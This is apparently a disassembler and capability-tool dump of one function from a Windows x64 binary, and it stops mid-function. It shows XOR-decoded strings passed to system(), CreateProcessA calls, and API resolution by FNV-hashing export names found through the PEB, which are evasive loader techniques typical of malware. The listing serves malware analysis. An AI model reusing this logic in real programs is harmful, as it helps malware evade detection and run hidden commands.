Function at 0x140007ad0
Capabilities:
Access peb ldr_data
Acquire debug privileges
Check os version
Create process on windows
Create process suspended
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0xe88
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rsp + 0xe70], rax
mov eax, dword [str.ZVH_8]
mov dword [rsp + 0xe0], eax
mov eax, 1
imul rax, rax, 3
movsx eax, byte [rsp + rax + 0xe0]
test eax, eax
je 0x140007b1b
mov dword [rsp + 0x118], 1
jmp 0x140007b26
mov dword [rsp + 0x118], 0
movzx eax, byte [rsp + 0x118]
test eax, eax
je 0x140007ba0
mov dword [rsp + 0x90], 0
jmp 0x140007b4f
mov eax, dword [rsp + 0x90]
inc eax
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 4
jge 0x140007ba0
movsxd rax, dword [rsp + 0x90]
movsx eax, byte [rsp + rax + 0xe0]
mov dword [rsp + 0x320], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x320]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x90]
mov byte [rsp + rcx + 0xe0], al
jmp 0x140007b3f
lea rax, [rsp + 0xe0]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x4f0], rax
lea rax, [rsp + 0xa58]
lea rcx, [0x1400be928]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2c
movsx eax, byte [rsp + rax + 0xa58]
test eax, eax
je 0x140007bfe
mov dword [rsp + 0x11c], 1
jmp 0x140007c09
mov dword [rsp + 0x11c], 0
movzx eax, byte [rsp + 0x11c]
test eax, eax
je 0x140007c83
mov dword [rsp + 0x8c], 0
jmp 0x140007c32
mov eax, dword [rsp + 0x8c]
inc eax
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0x2d
jge 0x140007c83
movsxd rax, dword [rsp + 0x8c]
movsx eax, byte [rsp + rax + 0xa58]
mov dword [rsp + 0x324], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x324]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x8c]
mov byte [rsp + rcx + 0xa58], al
jmp 0x140007c22
lea rax, [rsp + 0xa58]
mov qword [rsp + 0x4e8], rax
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rsp + 0x4f0]
call fcn.140023a40
mov qword [rsp + 0x4f8], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x4f8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0xb90]
mov qword [rsp + 0x378], rax
lea rax, [rsp + 0xc0]
lea rcx, [0x1400bf050]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 2
movsx eax, byte [rsp + rax + 0xc0]
test eax, eax
je 0x140007d13
mov dword [rsp + 0x120], 1
jmp 0x140007d1e
mov dword [rsp + 0x120], 0
movzx eax, byte [rsp + 0x120]
test eax, eax
je 0x140007d98
mov dword [rsp + 0x88], 0
jmp 0x140007d47
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 3
jge 0x140007d98
movsxd rax, dword [rsp + 0x88]
movsx eax, byte [rsp + rax + 0xc0]
mov dword [rsp + 0x328], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x328]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x88]
mov byte [rsp + rcx + 0xc0], al
jmp 0x140007d37
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x500], rax
movzx edx, byte [rsp + 0xf8]
mov rcx, qword [rsp + 0x500]
call fcn.140025c80
nop
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x508], rax
mov qword [rsp + 0x1d0], 0xffffffffffffffff
inc qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x508]
mov rcx, qword [rsp + 0x1d0]
cmp byte [rax + rcx], 0
jne 0x140007dea
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x518], rax
mov r8, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x438]
mov rcx, qword [rsp + 0x378]
call fcn.140025ce0
nop
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x520], rax
mov r8, qword [rsp + 0x520]
lea rdx, [rsp + 0xdc8]
lea rcx, [0x1400ce270]
call fcn.140059690
nop
mov eax, dword [str.ZVH_8]
mov dword [rsp + 0xe4], eax
mov eax, 1
imul rax, rax, 3
movsx eax, byte [rsp + rax + 0xe4]
test eax, eax
je 0x140007ea2
mov dword [rsp + 0x124], 1
jmp 0x140007ead
mov dword [rsp + 0x124], 0
movzx eax, byte [rsp + 0x124]
test eax, eax
je 0x140007f27
mov dword [rsp + 0x84], 0
jmp 0x140007ed6
mov eax, dword [rsp + 0x84]
inc eax
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 4
jge 0x140007f27
movsxd rax, dword [rsp + 0x84]
movsx eax, byte [rsp + rax + 0xe4]
mov dword [rsp + 0x32c], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x32c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x84]
mov byte [rsp + rcx + 0xe4], al
jmp 0x140007ec6
lea rax, [rsp + 0xe4]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x530], rax
lea rax, [rsp + 0xa28]
lea rcx, [0x1400bf140]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2c
movsx eax, byte [rsp + rax + 0xa28]
test eax, eax
je 0x140007f85
mov dword [rsp + 0x128], 1
jmp 0x140007f90
mov dword [rsp + 0x128], 0
movzx eax, byte [rsp + 0x128]
test eax, eax
je 0x14000800a
mov dword [rsp + 0x80], 0
jmp 0x140007fb9
mov eax, dword [rsp + 0x80]
inc eax
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0x2d
jge 0x14000800a
movsxd rax, dword [rsp + 0x80]
movsx eax, byte [rsp + rax + 0xa28]
mov dword [rsp + 0x330], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x330]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x80]
mov byte [rsp + rcx + 0xa28], al
jmp 0x140007fa9
lea rax, [rsp + 0xa28]
mov qword [rsp + 0x528], rax
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rsp + 0x530]
call fcn.140023a40
mov qword [rsp + 0x538], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x538]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x540], rax
lea rdx, [rsp + 0xdc8]
mov rcx, qword [rsp + 0x540]
call fcn.14001f810
mov qword [rsp + 0x548], rax
mov rdx, qword [rsp + 0x548]
lea rcx, [rsp + 0xd68]
call fcn.140006c30
nop
mov eax, dword [str.ZVH_8]
mov dword [rsp + 0xe8], eax
mov eax, 1
imul rax, rax, 3
movsx eax, byte [rsp + rax + 0xe8]
test eax, eax
je 0x1400080be
mov dword [rsp + 0x12c], 1
jmp 0x1400080c9
mov dword [rsp + 0x12c], 0
movzx eax, byte [rsp + 0x12c]
test eax, eax
je 0x14000812e
mov dword [rsp + 0x7c], 0
jmp 0x1400080e9
mov eax, dword [rsp + 0x7c]
inc eax
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 4
jge 0x14000812e
movsxd rax, dword [rsp + 0x7c]
movsx eax, byte [rsp + rax + 0xe8]
mov dword [rsp + 0x334], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x334]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x7c]
mov byte [rsp + rcx + 0xe8], al
jmp 0x1400080df
lea rax, [rsp + 0xe8]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x558], rax
lea rax, [rsp + 0xa88]
lea rcx, [0x1400be9a8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2c
movsx eax, byte [rsp + rax + 0xa88]
test eax, eax
je 0x14000818c
mov dword [rsp + 0x130], 1
jmp 0x140008197
mov dword [rsp + 0x130], 0
movzx eax, byte [rsp + 0x130]
test eax, eax
je 0x1400081fc
mov dword [rsp + 0x78], 0
jmp 0x1400081b7
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0x2d
jge 0x1400081fc
movsxd rax, dword [rsp + 0x78]
movsx eax, byte [rsp + rax + 0xa88]
mov dword [rsp + 0x338], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x338]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x78]
mov byte [rsp + rcx + 0xa88], al
jmp 0x1400081ad
lea rax, [rsp + 0xa88]
mov qword [rsp + 0x550], rax
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rsp + 0x558]
call fcn.140023a40
mov qword [rsp + 0x560], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x560]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0xd50]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_26
rep stosb byte [rdi], al
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x578], rax
lea rdx, [rsp + 0x9c0]
lea rcx, [rsp + 0xd68]
call fcn.14001f240
mov rax, qword [rax]
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x568]
mov qword [rsp + 0x580], rax
lea rdx, [rsp + 0x9c8]
lea rcx, [rsp + 0xd68]
call fcn.14001f330
mov rax, qword [rax]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x588], rax
mov r9, qword [rsp + 0x578]
mov r8, qword [rsp + 0x580]
mov rdx, qword [rsp + 0x588]
lea rcx, [rsp + 0xd50]
call fcn.140024540
nop
lea rax, [rsp + 0x938]
lea rcx, [0x1400bf0d8]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_26
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x18
movsx eax, byte [rsp + rax + 0x938]
test eax, eax
je 0x140008326
mov dword [rsp + 0x134], 1
jmp 0x140008331
mov dword [rsp + 0x134], 0
movzx eax, byte [rsp + 0x134]
test eax, eax
je 0x140008396
mov dword [rsp + 0x70], 0
jmp 0x140008351
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0x19
jge 0x140008396
movsxd rax, dword [rsp + 0x70]
movsx eax, byte [rsp + rax + 0x938]
mov dword [rsp + 0x33c], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x33c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x70]
mov byte [rsp + rcx + 0x938], al
jmp 0x140008347
lea rax, [rsp + 0x938]
mov qword [rsp + 0x440], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x590], rax
movzx edx, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x590]
call fcn.140025c80
nop
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x598], rax
mov qword [rsp + 0x1d8], 0xffffffffffffffff
inc qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x1d8]
cmp byte [rax + rcx], 0
jne 0x1400083e8
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x5a8], rax
mov r8, qword [rsp + 0x5a8]
mov rdx, qword [rsp + 0x440]
lea rcx, [rsp + 0x9a0]
call fcn.140025ce0
nop
lea rcx, [rsp + 0x9a0]
call fcn.140006ca0
nop
lea rcx, [rsp + 0x9a0]
call fcn.140020bd0
lea rax, [rsp + 0xab8]
lea rcx, [0x1400bebe8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2c
movsx eax, byte [rsp + rax + 0xab8]
test eax, eax
je 0x14000849d
mov dword [rsp + 0x138], 1
jmp 0x1400084a8
mov dword [rsp + 0x138], 0
movzx eax, byte [rsp + 0x138]
test eax, eax
je 0x14000850d
mov dword [rsp + 0x74], 0
jmp 0x1400084c8
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0x2d
jge 0x14000850d
movsxd rax, dword [rsp + 0x74]
movsx eax, byte [rsp + rax + 0xab8]
mov dword [rsp + 0x340], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x340]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x74]
mov byte [rsp + rcx + 0xab8], al
jmp 0x1400084be
lea rax, [rsp + 0xab8]
mov qword [rsp + 0x448], rax
lea rax, [rsp + 0xd88]
mov qword [rsp + 0x5b0], rax
movzx edx, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x5b0]
call fcn.140025c80
nop
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x5b8], rax
mov qword [rsp + 0x1e0], 0xffffffffffffffff
inc qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x5b8]
mov rcx, qword [rsp + 0x1e0]
cmp byte [rax + rcx], 0
jne 0x14000855f
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0x5c8], rax
mov r8, qword [rsp + 0x5c8]
mov rdx, qword [rsp + 0x448]
lea rcx, [rsp + 0xd88]
call fcn.140025ce0
nop
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x50], al
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x50]
test eax, eax
je 0x1400085e5
mov dword [rsp + 0x13c], 1
jmp 0x1400085f0
mov dword [rsp + 0x13c], 0
movzx eax, byte [rsp + 0x13c]
test eax, eax
je 0x140008664
mov dword [rsp + 0x94], 0
jmp 0x140008619
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 1
jge 0x140008664
movsxd rax, dword [rsp + 0x94]
movsx eax, byte [rsp + rax + 0x50]
mov dword [rsp + 0x344], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x344]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x94]
mov byte [rsp + rcx + 0x50], al
jmp 0x140008609
lea rax, [rsp + 0x50]
mov qword [rsp + 0x450], rax
lea rax, [rsp + 0xda8]
mov qword [rsp + 0x5d0], rax
movzx edx, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x5d0]
call fcn.140025c80
nop
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x5d8], rax
mov qword [rsp + 0x1e8], 0xffffffffffffffff
inc qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x1e8]
cmp byte [rax + rcx], 0
jne 0x1400086b3
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x5e0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x5e8], rax
mov r8, qword [rsp + 0x5e8]
mov rdx, qword [rsp + 0x450]
lea rcx, [rsp + 0xda8]
call fcn.140025ce0
nop
lea rax, [rsp + 0xe00]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xde8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_26
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x9d0]
mov qword [rsp + 0x468], rax
lea rax, [rsp + 0xda8]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x380]
cmp qword [rax + 0x18], 0x10
jb 0x140008783
mov dword [rsp + 0x140], 1
jmp 0x14000878e
mov dword [rsp + 0x140], 0
movzx eax, byte [rsp + 0x140]
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x58]
test eax, eax
je 0x1400087c6
mov rax, qword [rsp + 0x380]
mov rax, qword [rax]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x9d8]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0xd88]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x388]
cmp qword [rax + 0x18], 0x10
jb 0x140008832
mov dword [rsp + 0x144], 1
jmp 0x14000883d
mov dword [rsp + 0x144], 0
movzx eax, byte [rsp + 0x144]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x59]
test eax, eax
je 0x140008875
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0xde8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x470], eax
lea rax, [rsp + 0xb18]
lea rcx, str.jCHHXSl_56_5
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_50
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x18
movzx eax, word [rsp + rax + 0xb18]
test eax, eax
je 0x140008932
mov dword [rsp + 0x148], 1
jmp 0x14000893d
mov dword [rsp + 0x148], 0
movzx eax, byte [rsp + 0x148]
test eax, eax
je 0x1400089b8
mov dword [rsp + 0x98], 0
jmp 0x140008966
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0x19
jge 0x1400089b8
movsxd rax, dword [rsp + 0x98]
movzx eax, word [rsp + rax*2 + 0xb18]
mov dword [rsp + 0x2b0], eax
mov eax, dword [rsp + 0x98]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x2b0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x98]
mov word [rsp + rcx*2 + 0xb18], ax
jmp 0x140008956
lea rax, [rsp + 0xb18]
mov rcx, rax
call fcn.140002850
mov dword [rsp + 0x268], eax
lea rax, [rsp + 0xd40]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov qword [rsp + 0xc70], 0
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x6a0], rax
mov dword [rsp + 0x370], Ordinal_46
mov rax, qword gs:[0x60]
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0xc58]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0x1f0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x628], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x628]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x3a8], rax
mov eax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca0], rax
mov eax, dword [rsp + 0x3ac]
mov dword [rsp + 0xca8], eax
mov rax, qword [rsp + 0xc98]
cmp qword [rsp + 0xca0], rax
je 0x140008b04
mov dword [rsp + 0x14c], 1
jmp 0x140008b0f
mov dword [rsp + 0x14c], 0
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x5a]
test eax, eax
je 0x140008d1c
mov rax, qword [rsp + 0xca0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xc4], eax
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0xc4]
dec eax
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0x348], 0
je 0x140008d1c
mov eax, dword [rsp + 0x474]
mov dword [rsp + 0x150], eax
movabs rax, 0x8fb0a52d2405c2fd
shr rax, 0x20
mov dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0xca0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xc98]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xc98]
mov qword [rsp + 0x3b0], rax
movabs rax, 0x8fb0a52d2405c2fd
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x358], eax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0xfc], eax
mov rax, qword [rsp + 0x390]
movzx eax, byte [rax]
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x390]
inc rax
mov qword [rsp + 0x390], rax
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x51], al
movsx eax, byte [rsp + 0x51]
test eax, eax
jne 0x140008c47
mov eax, dword [rsp + 0xfc]
mov dword [rsp + 0x360], eax
jmp 0x140008c91
xor eax, eax
test eax, eax
je 0x140008c5e
movsx eax, byte [rsp + 0x51]
or eax, 0x20
mov dword [rsp + 0x154], eax
jmp 0x140008c6a
movsx eax, byte [rsp + 0x51]
mov dword [rsp + 0x154], eax
mov eax, dword [rsp + 0x154]
mov ecx, dword [rsp + 0xfc]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xfc], eax
jmp 0x140008c03
mov eax, dword [rsp + 0x358]
cmp dword [rsp + 0x360], eax
jne 0x140008d17
mov rax, qword [rsp + 0xca0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xc98]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0xca0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xc98]
mov qword [rsp + 0x630], rax
mov eax, dword [rsp + 0xc4]
mov rcx, qword [rsp + 0x630]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x638]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xc98]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x3b8], rax
jmp 0x140008d6d
jmp 0x140008b3a
mov rax, qword [rsp + 0xc58]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x648]
mov rax, qword [rax]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x650]
mov qword [rsp + 0xc58], rax
mov byte [rsp + 0x5c], 1
movzx eax, byte [rsp + 0x5c]
test eax, eax
jne 0x140008a53
mov qword [rsp + 0x3b8], 0
call qword [rsp + 0x3b8]
mov qword [rsp + 0x6b8], rax
mov rax, qword [rsp + 0x9e0]
mov qword [rsp + 0x2e0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x658]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x660]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x668], rax
mov rax, qword [rsp + 0x668]
mov qword [rsp + 0xc60], rax
mov rax, qword [rsp + 0xc60]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xcb0], rax
mov rax, qword [rsp + 0x1f8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x670], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x670]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x3c0], rax
mov eax, dword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb8], rax
mov eax, dword [rsp + 0x3c4]
mov dword [rsp + 0xcc0], eax
mov rax, qword [rsp + 0xcb0]
cmp qword [rsp + 0xcb8], rax
je 0x140008e86
mov dword [rsp + 0x158], 1
jmp 0x140008e91
mov dword [rsp + 0x158], 0
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x5d], al
movzx eax, byte [rsp + 0x5d]
test eax, eax
je 0x14000909e
mov rax, qword [rsp + 0xcb8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xc8], eax
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x364], eax
mov eax, dword [rsp + 0xc8]
dec eax
mov dword [rsp + 0xc8], eax
cmp dword [rsp + 0x364], 0
je 0x14000909e
mov eax, dword [rsp + 0x478]
mov dword [rsp + 0x15c], eax
movabs rax, 0x88b09a28819fccfa
shr rax, 0x20
mov dword [rsp + 0x15c], eax
mov rax, qword [rsp + 0x9e8]
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0xcb8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xcb0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x3c8], rax
movabs rax, 0x88b09a28819fccfa
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x368], eax
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x2d0], rax
mov eax, dword [rsp + 0x15c]
mov dword [rsp + 0x100], eax
mov rax, qword [rsp + 0x2d0]
movzx eax, byte [rax]
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x2d0]
inc rax
mov qword [rsp + 0x2d0], rax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x52], al
movsx eax, byte [rsp + 0x52]
test eax, eax
jne 0x140008fc9
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x36c], eax
jmp 0x140009013
xor eax, eax
test eax, eax
je 0x140008fe0
movsx eax, byte [rsp + 0x52]
or eax, 0x20
